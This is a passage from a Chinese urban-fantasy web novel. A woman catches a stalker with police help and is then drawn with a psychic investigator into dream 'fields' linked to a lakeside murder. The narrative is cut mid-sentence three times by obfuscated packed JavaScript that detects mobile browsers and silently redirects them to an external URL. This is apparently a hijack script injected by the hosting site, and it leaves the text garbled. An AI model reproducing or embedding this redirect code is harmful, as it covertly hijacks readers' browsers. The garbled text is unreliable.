恶心顿时升级为愤怒了。 “不是有监控吗?”她听到谭琳琳的声音在问。 她好像和所有声音隔了一层膜,耳鼓处在突突地响,隔了很久陈元音才发现,这些突突的声音其实是她的心跳。 “那如果我抓到人了呢?”眼见谭琳琳几句就要和警官杠了起来,陈元音赶忙拉住生气的谭琳琳,问道。她站着的时候比窝在椅子里的沈警官高出半个身子,白炽灯的光线被遮挡住,对面人只看到她坚定的眼睛像一个蒙了尘的夜明珠,在灰扑扑的询问室里头透着一抹亮。 “如果我抓到现行,是不是就可以逮捕他了?” 小宋警官被她的语气唬住了,“可以抓,但是……”他挠了挠头,“但其实这也就蹲15天最多了,而且容易激怒……” “那就行。”陈元音面无表情地转身就走,“我会抓住他的。希望到时候你们不会再有借口敷衍我。” 沈警官答应了。 要去抓住一个只敢玩跟踪的缩头乌龟,说起来容易做起来难。 首先你要从下班高峰的人流中分辨出究竟是谁在一直跟着你,这一步很好做,女人至今未被科学证实地对危险恶意的第六感帮了大忙。 有调查问卷显示,有六分之一的女性和十九分之一的男性在一生中至少遭遇过最少一次的尾随或者跟踪,在各国数据中,女性的受害比例明显高于男性,受害者无处不在,数量只高不低。 而始作俑者几乎没有任何惩罚。 陈元音憋着一口气,在手机上敲字,她换了个新的手机壳,手机的上方有一处小小的隐蔽的镜子,背面也有,方便她随时观察身后。她装作不经意的样子掏出手机,一边看电视一边小心地移动着看向身后。 ——找到了吗? 是谭琳琳的信息,她在不近不远的地方远远地盯着这里。 ——没有,这里人太多了,不太好找。 她回复道。 回头的时机很重要,你不能让跟踪者发现你发现他了,这是一种奇怪的博弈,对方可以挑衅很多次,而你只有一次机会可以抓住他。 陈元音想了想,起身下了地铁。她故意逆着下班后的人流,去了公园, ——有十几个同车厢的人也下车去了公园。 谭琳琳远程报。 这时候人们大多都去吃饭了,公园里人不算多。天将暗成深蓝色,路灯还未开启,散步道上昏昏暗的。 面前的樱花开得正好,她掏出手机转动着角度拍了一张。 咔嚓。 当我照相的时候,他好像看到我了,陈元音想。 她知道那天晚上的那片衣角是谁了。 她果断转身,朝着一个方向大步走去。 那里是一片樱花树林,有个熟悉的身影蹲在地上,看见她走来,憨厚的脸上露出讶异,“这么巧?” 这声音熟悉得很,前不久她还在和这个人在咖啡厅喝咖啡,回家还在夸他这个人老实,被拒绝了还腼腆笑着摆手说没关系。 “不巧。”陈元音微微一笑,“我就是来找你的。” 吴翡,之前和陈元音相亲有过一面之缘的小伙子,在陈元音话音落地后,脸色一讪,站了起来,“怎么了?是之后阿姨又找你了吗?” “别转移话题,今天和相亲没有关系。”陈元音拍了拍他的肩膀,朝他伸出手来,“相机给我。” 这句话简直是把吴翡钉死在那里,厚重眼镜后的眼睛紧紧地盯着陈元音,不敢相信她居然就这样撕破脸了,后面的话几乎是咬牙切齿说出来的,“我听不懂你在说什么。” “相机的照片打开你就知道我在说什么了。”陈元音也不笑了,她冷哼了一声,就要上来夺。 吴翡微胖的身躯在这一刻爆发出无限的潜力,他居然灵巧地躲开了陈元音的每一下!两个人的争执过于明显了,周围很快围了起来。 谭琳琳没挤进来,只能在外围和路人大声讨论,难为她平日清冷模样,这时候像个辣妹子高谈阔论说这个男的跟踪陈元音好几天了,今天还抓到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398716|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷拍! “好你个小子,长得老实巴交人模狗样的,竟然搞跟踪这一套!”路人阿姨对着他指指点点,给被抓到现行都没承认的吴翡说得腾一下子脸色红温了。 “我们是……我跟她是,是……情感纠纷,对情感纠纷!”吴翡结结巴巴地喊,对人群喊的时候好像突然抓住了什么要点,狰狞的面目有了底气,“关你们什么事!” 声音大得一点都不像那个下午坐在必胜客里客客气气的腼腆小伙子。 陈元音被气笑了。 一回生,二回熟,陈元音钳着吴翡的手腕不让他跑掉,果断报了警。 因为是被警车带来的,吴翡在路上很老实。警局里依旧乱糟糟的,陈元音被撂在那儿,左边是醉酒闹事被带来的,右边是打架在做简单的包扎。 她强忍着不悦走到前台,问吴翡这种情况要关几天。前台忙到飞起,匆忙给他指了指里面的询问室。 隔着玻璃看,里面已经进入一种男性社交友谊的模式。 她敲了敲门,昨天见过她的小宋警官还惊讶了一下,很快指着里面反应过来,“你送过来的?还真抓到啦?” 她点点头,小宋警官竖起拇指,接着说道,“笔录还且等着做呢,你在外面坐一会儿吧。” 她吸了口气又吐出来,正要离去,从隔壁间走出一个男人,一边出门和她同时叹出了一口气,一边对着手中电话说话。 路过陈元音的时候,她听到他冷冰冰的声音说,“我不管你用什么办法,昨天晚上北园湖的录像下午必须看完。” 陈元音奇怪地摸了摸自己的手臂,光听声音就起了一层冷意。 对面不知说了什么,男人深吸一口气,压着怒火,“那种事情就让他去找别的引路人去吧。”他点了几下自动贩卖机,咣当一声掉下一瓶可乐,陈元音没听到他的下一句说了什么,下意识地回头去看他。 那个男人弯下腰拿出可乐,咔的一声单手打开,飞速的汲取奋勇而出的泡沫,他对电话那边又说些无关紧要的事情。 郑裴情绪不好,他追着残念到北园湖发现女尸报警到现在,只有一个遛狗女孩一个线索,还没找到人在哪儿。这小派出所里只有几个年轻警官在,对他拿出的证件左看右看,好像他是个假冒的一样。 郑裴极少出外场,这次要不是残秽有那个人的影子,鬼才来这种破地方!他咽下满腹牢骚,最终还是半夜里摸进去现场,找了一天北园湖什么都没找到,残秽线索只在尸体上,尸体还在法医那里排队等待解剖。 即使是他,自出生就是顶端的灵能者,无数富豪掷下千金想要关于他的只言片语,在这萝卜所也要等那几个小警察逐级汇报…… 真是再好的脾气也要磨爆炸了。 一晚上足够一个男人变得不修边幅,在河堤弄的袖口和裤脚鞋上全是泥点子,随着他一口一口地可乐喝下去,泥点子突然在某一刻突然消失了。灰扑扑的衣物瞬间光鲜亮丽,像是上一秒刚从干洗店拿出来似的,周围人浑然不觉,好像这个男人本就该如此。 可是这种长相的男人出现在这里无人在意本身就是一件让人觉得奇怪的事情。 郑裴正在打电话的声音一顿,以他对周围的感知能力,在有人偷窥的第零点零零一秒就即刻感知,平日里没人闲得偷看他,组织内部的那群老头子恨不得把他供起来。而灵力太过低于他的人不敢直视他,因为他们会因为差距而本能地产生畏惧。 敢偷窥他的,这么多年了也只出现过一个。 他向那个地方投去冷淡的一瞥。 本应该只是擦肩而过的瞬间,却因为随意的一瞥而顿住。 “怎么了?”谭琳琳刚赶到警局,还没从气愤中走出,又因为陈元音突然的刹住脚步停了个措手不及,差点撞到她的后背。 因为一直看着那个男人,陈元音没有注意到身后好友微微变了的脸色,自顾自地小声说:“我好像见过那个人。” 在梦里。 5. 开端(五) 这一刻,周围所有的一切像是被突然按下了暂停。 因为太安静了,所以皮鞋踩在地板发出的声音格外的清晰,音调带着一点点好听的尾音,陈元音闻声抬眼望去,那个人含着笑的眼睛带着冷漠,霎时间出现在她的面前,冰凉的手指轻轻点向她的额头。 这种举动太亲密了,可对方的眼眸无比深邃,陈元音几乎被迷惑了,直到指尖的阴影落在睫毛,才恍然转醒。 她没忍住,眨了下眼睛。 “咦?” 对方看起来比她还要诧异,指尖在即将要触碰到的微弱距离骤然停下。 她盯着他的眼睛看,并没找到一种名叫“被发现后羞愧”的情绪。 “你要干什么?”陈元音警惕地向后退,离那只手远一点。 和刚刚瞬间出现的速度不同,对方这次花了好一会儿才直起腰,站在她的面前深深地看了她一会儿,才开口说话。 “不好意思,我绝对不是对您有意思。”郑裴眼睛弯弯,她后退的速度根本没他快,他冰凉的指尖趁他不备迅速完成这个动作——抵住了她的额头,“我是对你这里头的东西有意思。” 啪! 他的手被打掉了。 “您有病吧?”陈云音怒了。 *** 郑裴坐在解剖室,手背还残留着挨打的红色痕迹,来接他的许宴意外地看了他手背一眼,他也只是无辜地眨了眨眼。 还好许宴不是八卦的人,不过郑裴也没想明白,就这么一个小小的举动而已,真不明白对方为什么这么生气。不过很快他也不想了,解剖室的冷库推出了担架,起伏的白色床单下印着仰卧的人类形状。 这才是这一趟来的主要目的——北园湖他发现的那具女尸今天开始解剖。 至于为什么一直到今天才开始解剖,郑裴已经头痛的不想再回想被官僚迫害的过程了。总的来说,这破派出所的所长终于反应过来自己这儿来的是尊大佛,连连道歉亲手送来了红头许可文件,带着他来到法医处,许宴在那里等他。 他砰的一下关上门,把所长谄媚的笑脸关在门外,许宴用那张和解剖台完美标配的脸不赞同地看着他,然后指着最远的那把椅子。 “坐远点。” 郑裴难得的一句话都没说,沉着脸坐在一旁等待着。 许宴戴上白色手套,修长的手指抚摸过女尸的每一寸,一分一毫都没有错过。手指每抚摸过的地方,都变得富有弹性,青紫和干裂的伤口逐渐褪去,回到生前的模样,尸体的胸口微微起伏,仿佛下一刻就起死回生可以坐起来仰卧起坐。 良久,他才直起身来,扯掉脸上的白色口罩,径直走去解剖台边上的水池,挤了满手的消毒洗手液。而解剖台上的尸体,在许宴手指离开的瞬间,化为灰烬。 如果派出所所长在现场,大概会吓到昏过去。 “别过来。”许宴声音冷得比水池里头的冰水还凉。 “单看手法可以推断很像他,但没有残念。” “没有残念?”郑裴眉头紧锁,“我那天明明感知到了,你不会是……” 许宴面无表情地抬头看他,郑裴差点要脱口而出的话顿时哽在喉咙里。 许宴是不可能出错的。 除非世界毁灭灵力失衡,否则他的感知也绝不可能出错。 那到底问题出在哪里? 派出所所长涨红的脸趴在门上那个小小玻璃窗,口中一开一合。 “领导,领——哎哟!” 郑裴背对着他,突然想起来什么似的,单手隔空一拉,所长无论怎么扭动把手都纹丝不动的门瞬间砰地就打开了,圆滚滚的身子一个没刹住,差点滚了进来。 “那个遛狗的女人。”所长的手激动地挥舞着,“就是前一晚路过无名女尸的那个女人!她因为被跟踪和偷拍报警了,偷拍她的那个人正好拍到了行凶现场!” 话音刚落,所长忽然愣住,挥舞的手僵硬在半空中,整个房间只剩下水龙头流下的哗啦声响,一个人都没有了。 另一边,陈元音被小宋警官带去了监控室。 “这个人的相机已经送去技术人员那里,偷拍已成既定事实。”小宋警官解释道,“但现在有别的事情想要问下你。” “你前天晚上是不是去过北园湖?” “能不能请你回想一下那天的情景?” “我没有去过北园湖!”监控室另一头的询问室,传来吴翡的否认声。 “没去过?那你相机里的照片是什么?”沈警官严肃的说。 陈元音恍然大悟,原来遛狗那天小黄那个样子也是因为他! “我相机里没有北园湖。”吴翡不假思索地说,熟练地像排演过一千遍。 这个人不会觉得否认就有用吧?沈警官简直要被他的异想天开气笑了,“你知道我们技术部门是可以还原被删除的照片,而且时间、地点都可以恢复的吗?” 对方因为这一句肉眼可见的慌了,“那你们抓我干什么?和我没有关系的啊?” 陈元音和小宋警官坐在监控室另一侧面面相觑。 小宋警官尴尬地一咳,“不好意思,我马上关掉……” 没有任何预兆的,一道不合时宜的声音突然响起。 “为什么抓你?” 监控室里的三个人同时猛然起身,震惊得说不出话。 那道声音从天而降,像是听到什么极有意思的事情一样,突然出现的郑裴随意地挑起一支笔,往桌子上一撂,顿时压力如巨石一样压在了吴翡的身上,他肩膀下沉,额头冒出冷汗,喘不过气来。 “现在,来说说吧?”这个语气让吴翡莫名地毛骨悚然,“你都拍到什么了?” “这人怎么横空闯进询问室的!?” 小宋警官冲了出去,对着死活拧不开门拳脚踢。 这一切都发生在转瞬即逝之间,与此同时,陈元音正站监控室的玻璃往里看,里面的吴翡的双目失焦,口中不停地说着什么。 “不对,我没有去过北园湖!” 他吃痛地闷哼一声,好像有什么隔空掐住了他的脖子,嘴巴和思想在打架。 说谎! 全都在说谎! 陈元音紧紧地盯着那侧的吴翡,因为长发的遮盖,无人察觉的地方,红血丝已经遍布瞳孔。她的手指微弓,另一只手搭在手腕上,这是个激动状态下压抑自己的动作,她的思绪伴随吴翡每一次的承认又迅速的否认迅速回溯,脑海中快速翻书定位…… 那天——那天晚上—— 哗啦。 呼的一声风响,陈元音没忍住,打了个巨大的喷嚏,四周的空气突然凝固住了,而后在她眯着眼的时候纷纷碎裂,飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398717|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速的四散开来,重新打磨,组装。 耳边有蟋蟀拼命的在叫响,湿热的气息顿时盖满全身,陈元音睁开眼,看到眼前的蛾子正慢悠悠地飞过。 咦?奇怪,她什么时候闭上眼了?她没有任何由来的冒出这样的想法。 “呜呜。”手中牵引绳的另一侧,小黄在她的脚边拱着她的脚面,催促她快点走。头顶的路灯发出暖黄色的光束,有飞虫绕着圈旋转。 她什么时候……走到北园湖了? 虽然脑子不太清晰,但身体的触感、耳畔的声音,就连周围蚊虫的嗡嗡声,都确实是在北园湖没错。 另外还有—— 陈元音低下头,脚边的小黄趴在地上,耳朵耷拉着,眼神出露出谴责的光,好像在对她之前的不理睬生气。 她轻轻踢了一下小黄,小黄熟练地躲过她的一脚。 也是她家的狗没错。 她困惑了,小黄对她这毫无来源的一脚气呼呼地龇牙。完了,小黄要生气了,她下意识蹲下来摸着小黄的头,嘴里说着“对不起”、“不是故意的”、“谁让你站在我脚边上了”这种推卸的话。 在她蹲下的同时,身后那看不见底的湖水中,有几丝黑线沿着湖畔边缘钻了出来,那黑线好像有生命一样,没一会儿就蔓延开来,整个草丛都被缠绕,还有往道路上爬的趋势。 此时的陈元音毫无察觉,只是觉得今天的小黄意外的乖巧,竟然没有乱钻草丛,现在因为那一脚正赖皮地匍匐在地面上,连路都不肯走了。 她推了推小黄,小黄呜咽一声,在她的手掌下方不停地蹭。奇怪了,陈元音有些疑惑地摸了狗头,后背忽然觉得一阵莫名其妙的毛骨悚然,这感觉的来源颇为奇怪,更让她觉得不适的是,她家那室外风雨无阻的小霸王小黄,现在这是在发抖吗? 她打了个寒颤,还是离开这里吧。出现了这个想法的下一瞬间,一股浓烈的潮味伴随着血腥味扑鼻而来。 有人! 有人在盯着她,就在这片草丛里的某处! 他看到自己了! 陈元音想要站起来,可是整个身躯被钉死在原地,动弹不得。她的双眼直直地盯着草丛深处飘起来的那片黑线,在她的身边的黑线团越积越多,她的眼白越来越浑浊。 不行! 停下! 不要去! 她的内心在尖叫,可是身体不受控制,像着了魔一样抬起一只脚,踩上了那片草地。 有什么物体滚动的声音,路灯下眨眼间冒出一名男子,他厌恶地甩掉手上的水珠,“一句话不说就把人拉进来也太过了吧?” 本来已经僵到说不出话的喉咙重重地呼出一口气,陈元音浑身颤抖,僵硬地抬手看了看自己的手臂,上面浮现起一层小小的鸡皮疙瘩。 身上的束缚,消失了? 她心里一紧,这不是梦吗?刚刚为什么能有这么真实的濒临死亡的恐惧感? “喂!”有人喊她。 陈元音闻声抬头,就看到路灯下的陌生男子靠过来,英俊的脸在眼前骤然放大,她差点吓一跳往后退到草地里去,此时她正屏息凝神大气都不敢出,一脸惊讶地看着郑裴。 对方的表情很不耐烦。 “我说你啊——”他凑近她,戳了她的脸颊,歪着头,用质问的语气问她,“为什么突然拉我进来?” 6. 开端(六) 这样好看的大帅哥居然是个傻子? 陈元音听不懂他说什么,她纳闷地盯着地面,听到身边的男人又感叹了一句。 “居然真的是现场?我果然没看错,你这家伙的能力真的有点意思……” “你到底是谁啊?”陈元音对这个人自来熟的程度简直无语到家了,她皱着眉问。 “觉醒者,异能者,超能力,挑个自己可以接受的称呼消化一下吧。” 哪里来的中二病患者晚期……她默默在心里翻了个的白眼以示“尊重”。 就在她暗自排腹的时候,看到面前的男人从一直插着的口袋里掏出右手,食指在面前用力一扣,他们正中间顿时出现一个白色小点。 她目瞪口呆着看着这个白点以此为中心,呈圆弧状出现一个透明圆圈,不大不小刚刚好罩上他们。 也就是这时,陈元音才意识到自己踩着的地面褪去黑色,露出本该红色的砖面。 这样一来也露出了一直以来围绕着他们的黑线,此时正在张牙舞爪状,像是爬山虎的叶子一样在透明罩子外面攀爬,有点恐怖电影的感觉。 她后知后觉地转身,刚刚走过的那条小路,已经陷入黑暗中,看不到踪迹。 “这是什么?”陈元音指着那些晦暗起伏的线条,低声问。 随着她的手指,那些线条像长了狗鼻子,立即顺着爬到手指指着的高度,隔着透明罩子上下晃悠,如果它是个动物,此刻定然已露出獠牙。 而这时候拥有真正狗鼻子的小黄,正吓得躲在她脚边,连声狗叫都不敢出声。 “执念,一种黏黏糊糊摆脱不掉又无法逃脱的东西。”郑裴回答道,他伸出手掌压在她的头顶上方,又给她转了过来,他提醒道,“别一直盯着看,看久了会陷入进去,再也醒不过来了。” “我们为什么会出现在这里?” “这就要问你了。”郑裴低头看她,解释道,“这里是你的地盘,准确来说你是拥有超能力的觉醒者,可惜目前陷入了失控状态,我和你都被拉入失控的场景中。” “所以……其实我是这个场景的主人?” “Bingo。”对方竖起拇指用夸赞的语气说道,跟夸小孩似的。 郑裴垂下眼,正在评估陈元音目前的心理波动,他还是第一次见到失控的本人在「场」里这么平静,甚至还能和他有来有回地讲道理。 “吓死我了,我还以为我得了精神病。”陈元音拍了拍胸口,心有余悸。 是不是有点太心大了……郑裴不动声色地转移了视线。 不用太多解释,陈元音很快理解了自己的处境,除去刚来到这里产生一丝怀疑自己是不是人格分裂之外,这种奇怪的说法好像更容易让她自己接受。 原来不是自己有病啊,真是太好了! 这个举动不知道哪里逗笑了郑裴,他弯起的眉眼顿时驱散了最初的那份疏离感,变得接地气了起来。 “理解得不错。”他说,“对出现这个场景有什么想法吗?” 陈元音对这里还真有着特别深刻印象,她这个人看起来平日不怎么说话,又带着刻板的程序员感情迟钝的印象,然而实际上她这个人有些非常敏锐的第六感,那被她称之为毫无根据的可以救命的第六感,对毫无由来的恶意极其敏感。 这也是为什么她在人群中能轻易揪出跟踪者的原因之一。而她在前几天遛狗的时候,在北园湖的某条小路上,也感受过这种恶意,甚至更加浓烈。 她回忆道,“我当时听到在北园湖吴翡跟踪我的事情很生气,拼命回想当时发生了什么,然后一眨眼就到了这里。” 陈元音指了指自己,又指了指对方,“那你是谁?又是为什么出现在这里?” 郑裴突然快走一步,转身停在她面前看她,表情有些郑重,还夹杂着一些怪异的不好意思。 十分钟后,陈元音终于知道她那股不好意思到底从何而来了,自我介绍有什么不好意思的啊! 不过她对长得好看的人一向很宽容。 透明罩子早已停止膨胀,陈元音仔细看着四周那蔓延的黑线,准确来说更像是黑雾凝成绳线状、 无法用语言说明的诡异场景。 不过那天在这里,除去那因郑裴出现而现形的黑线,其余的场景和记忆里一模一样,路灯也是这么昏暗,而当时的她也确实感觉不太舒服,却又说不出个所以然来。 “那就把他找出来吧。”他说,“梦境里的事情都是真实发生过的,换句话说,人不会凭空想象没用的东西,你说你是因为拼命回想才失控的,那么这个回忆一定带有线索。” 陈元音看了看四周,黑线的密集程度很难看清别处了,她干脆直接席地而坐,托着腮想这一路以来发生的事情。 作为一位随时冲浪互联网的年轻人,阴谋论、外星生命、又或者地底生命一类的探讨从未从网络消失过,她自然接受良好,更何况,她在警局看到郑裴的第一眼,就明白这个人注定不是普通人。 硬要说的话,只能是女人至今未能解释的第六感在告诉她吧,所以当郑裴简单地解释他们所在的处境时,她十分能理解,也十分欣慰对方是拥有异能的人士和她被关在一起,让她不至于孤立无援一头黑。 但是他居然说自己有超能力! 她开始担心他下一步是不是要骗她的钱了…… 这就相信了?这种活也不是那么难办嘛……郑裴刚要松一口气,就听到陈元音痛心疾首地说:“帅哥,你长这么好看,干什么不行非要做这个?” 刚和她并排坐下来的郑裴:“……” “不是说回忆线索吗?”她转了转脖子,怎么觉得旁边的人有点咬牙切齿,可是转过头去,郑裴的嘴角弧度未变一分,又好像是自己的错觉。 他们从并排坐着变成并排行走,还有一只小黄紧紧跟随。 这条路线是陈元音经典的遛狗路线,有爬山有钻草丛,保证让狗狗如在丛林越野一样的外出探险。 这条路线不算短,走了没多久,因害怕而精力不支小黄就呼哧呼哧地吐着舌头,郑裴关注到它的不适,低头摸了摸它的脑袋。而陈元音一个没注意,差点一脚踏出保护罩。 还好她反应迅速,脚步一转,又转了回来。再向前走一步,前面就是黑线所在之地,妖娆的身姿还是莫要招惹为好。 她刚刹住,郑裴就越了过去,两人身边的透明罩子随之而动。 哦不,原来是随他动,陈元音羡慕地瞥了一眼。 这里就是那晚她觉察到不对劲的地方,路灯还是这个昏暗的路灯,隔着湖水,一股恶心的味道涌了上来。 他的身后好像长了眼睛,伸出手在虚空中一抓,一个胖胖的身影径直从草丛里滚了出来。 是慌乱地拿着相机的吴翡。 这个逼果然从那天见面之后就一直跟踪她! 陈元音被这一猛子动静惊了一跳,仗着这是在不会留下任何痕迹的「场」里,她恶向胆边生,生气地揪住吴翡的衣领,在他惊呼出声前,给他一脑袋塞进了灌木丛里。 “跟踪我是吧?”她这一手把吴翡的脑袋塞出透明罩子所维持的安全范围内,周围蠢蠢欲动的黑线霎时涌了上来。 她抄起平日里小黄的狗绳,取了下来,趁其不备绕其手腕三圈,紧紧地打了个结。这招她早就在第一天感觉被不怀好意跟踪的时候就在网上搜索学习了,就等着哪一天抓到人实践。 灌丛后是湖水。 当然,如果是在真正的北园湖,灌丛后确实是湖水。但这是在失控的「场」里,灌丛后还有些什么恐怖的,谁也不知道。 陈元音手起手落,一手推向吴翡的胸口,他直直地倒了下去,绳子绷直,在即将触碰到湖水的地方停下。 黑线像蜜蜂一样蜂拥而至,瞬间淹没了吴翡一开一合的嘴。 吓唬吓唬差不多了,可不能真的被这黑线吞噬了,陈元音用力拉起,吴翡惨白的脸被拉了回来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398718|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >没动静?陈元音一挑眉,手一松。 “等——等一下!”没等吴翡尖叫喊出什么所以然,他又被推了一把,尖叫声响彻云霄,连只鸟都没被惊飞,这片区域依然是寂静无声。 陈元音伸手一捞,“你说什么?” “对……对不起!”吴翡脸都憋死了,挤出来一句道歉。 “哦……”陈元音慢吞吞地说,手又一松,人掉了一半,比刚刚强,还能喘口气。 “我都道歉了你还想怎么样!”吴翡尖叫着,被捆住的双手拼命地抓着唯一的支点——陈元音手里的绳子,他拼命地挣扎为了不让自己掉进湖里,脚尖绷紧够向岸边,用尽全力让自己离那幽深不见底的湖水远一点。 “啊,不好意思,顺手了。”陈元音面无表情地松手,吴翡用此生最灵活的姿势连滚带爬地回来了,直到爬到安全的地方才缓了口气,躺在地上连连咳嗽。 气消了一半,陈元音才发觉郑裴在整个过程中不发一言,但透明罩从未离开过她的身边。 她回头去寻,路灯下的郑裴双眉上扬,一副想笑又憋住的样子。 并没有看起来那么冷漠无情,陈元音放下心来。 “谢谢你啊。”陈元音走过来,不好意思地挠了挠头,“你之前说找到关键点就可以了?这个人现在已经找到了,我们现在怎么出去?” 陈元音不是傻子,在听到郑裴说出“失控”二字的时候就彻底明白,这个地方完完全全是她无意识下造出的产物,搞不好还闯了什么祸。 既然如此,郑裴突然出现在这里必然是帮她的,至于出去之后要杀要剐,那就看这段时间里能和郑裴怎么拉近一下关系了…… 陈元音清了清嗓子,试了几次还是放弃了夹子音的路线,转而用手轻轻地梳理自己的长发,那是一个标准的韩剧姿势。 她梳了一会儿,偷偷看了他一眼。 只看到郑裴蹲在瘫倒在地的吴翡面前,低声问了句什么,她没有听清,吴翡仿佛吓坏了,拼命地摇头。 郑裴有些失望。 他叹了口气,在陈元音脱口而出的“小心”发出的同时低下头去,身后扑上来的吴翡像个倒栽葱直直掉进湖里,黑线一拥而上,很快连“咕噜噜”的声音都没有了。 “多大仇啊?”陈元音对这一系列自我找死成功的操作震惊了。 “怎么?”郑裴扬了扬眉,问她。 算了,活该,陈元音摇了摇头。 但是要怎么出去呢?她眼巴巴地望着郑裴。 头发在路灯下晕染成深棕色,郑裴很高,陈元音仰着头看他,逆着光看不清楚他的表情,只在这一刻觉得这个人好像不是真实存在的,给人一种随时会消散的感觉。 紧接着低沉沙哑的声音响起,仿佛在念出一句古老的咒语,只是这个神圣的状态持续了没多久。 他卡壳儿了。 陈元音翘着手指挽发丝的动作也卡壳儿了。 她放下手,沉默地看着郑裴。 “没事,这不重要,换种方式也行。”郑裴偏过头,假装淡定地咳了一下,这话不知道是在安慰她,还是在自我安慰。 陈元音用力深呼吸了一下,在打算问出那句“你到底会不会”的时候,忽然看到他轻声笑了一下。 刹那间所有黑线全部消散,头顶露出黑夜本来的面目,万里星光倾泻而下,北园湖百花盛开,低垂的木芙蓉落下几片花瓣,而花瓣下的他朝自己伸出手,向她问出那句话:“回家吗?” 回家?陈元音睁大双眼,当然要回家。没有任何思考伸出了自己的手。 两人手掌相握交合的地方,迸发出耀眼的白光。 脑海中好像被什么东西击中了,好听的声音仿佛在她的耳边呢喃,又好像是远在天边。 “闭眼。”一阵温热覆上她的双眼。 她重新回到黑暗中。 啊,结束了。 她刚松下一口气,耳畔突然响起一阵熟悉的电流声。 7. 开端(七) 二十分钟后,陈元音和郑裴并肩走在一间明亮教堂风格的大堂里。 他们的身边是穿着黑色正装的男人和彩色礼服的女人们,女人们梳着高髻戴着中世纪古典样式的首饰,男人们则是一本正经的当一个挂件。 黑色大理石倒映头顶的水晶吊灯,陈元音哒哒哒的脚步轻快,目标是礼堂正中央那个大得像转盘一样的自助甜点台。 自从郑裴说漏嘴「场」时间的流动与外面不同步,吃喝肥肉也不会带出去之后,陈元音就陷入了“什么都来点儿”模式,攒足了劲儿要把这里能尝的都尝一尝,反正不会发胖。 陈元音站在熙熙攘攘的人群中,一口咽下手中半个即将化掉的冰淇淋,抬头看那只有梦里才能见到的百年教堂穹顶,悬挂着四盏巨大的水晶吊灯,吊灯上层层叠叠印刻着繁琐花纹。四盏吊灯的中央,是一个圆形穹顶,里面装的是圣母玛利亚抱着圣婴的壁画,精美绝伦。 “没想到啊,你还挺浪漫的,梦想是在教堂举行婚礼吗?”她听到坐在一旁的郑裴正凉凉地点评她梦里的品位。 “我是坚定的唯物主义者,绝对不会在教堂对着白头发神父向上帝宣誓。”陈元音撇了撇嘴。 你懂什么!瞧这宽敞明亮的壁画,瞧这大罗马柱子大穹顶,刻画得如此精雕细琢,这就是艺术天赋! 郑裴的视线缓缓从那些假人毫无高光的眼睛前移走,他的表情比在上一个「场」里要凝重。 是他判断失误了,上一个结束的并不是陈元音的「场」,而是吴翡。陈云音是一个觉醒者这点没错,但失控的并不是她,他们误打误撞解决了问题,却在要出去的时候,掉进了这里。 一个教堂模样的地方。 这是怎么一回事?就连郑裴也没见过这种情况,一个「场」嵌套着另一个「场」? 他的视线转移到陈元音身上,听她发出小小的惊呼。 “这好像是我梦里出现过的地方。”陈元音小声说。 她谦虚了,哪里是“好像”,她明明一眼就认出来了,这里就是她连续几日梦到的婚礼现场。 “你对这里是不是太悠然自得了?”郑裴支着下巴,看四周人来人往看似嘈杂,却动作机械重复的人们,双目无神没有焦点,非常典型的梦里无行为能力的人群。 而创造出这个场景的人,现在满眼只有小蛋糕。 “如果是上一个场景我会拉着你速战速决,但现在我只想说,吃点好的吧。”陈元音用夹子夹起一块精致的草莓厚蛋挞,问郑裴,“你要不要?” 郑裴摇了摇头,看陈云音眉开眼笑地给自己又叠了一层奶油。 真不知道这种地方到底哪里吸引她了,郑裴百无聊赖地观察着四周,彩色的琉璃窗户随着阳光偏移,往廊下锃亮的实木地板投化出七彩的光,像万花筒一样变幻莫测。 他看着看着,眉头渐渐皱了起来。 地板上倒映的画面变化图案多种多样,只是其中有一块图案从未改变。 那是个六芒星,中间带有眼睛瞳孔的图案。一个不应该出现在这里的标志,好像在冲着郑裴打招呼,“你要找的我就在这里哦”这样的标志,原因不明,做法嚣张。 他看着陈元音拿着夹子在蛋糕间穿梭,从警局第一次见到她到吴翡事件,一个人再会假装也不至于在这种程度露馅。他自认为这辈子只看走眼过一个人,不会再犯同样的错误。陈元音确实对这个标识的暴露毫不知情,所以这个就是给他看的。 他需要去确认一下。 等陈元音拿完巧克力蛋糕再回头一看,郑裴人已经不见了。 拿着托盘的手一顿,陈元音垂着眼。和表面的淡定不同,她对出现在这里的瞬间是慌张的。明明只是普通地站在这里,危险感却比任何一次都要浓重。 她狠狠地抹了下眼睛,都说临死前会有预感,如果死在这里,是不是相当于在梦里死去了。 她端着托盘,随便找了个地方坐。 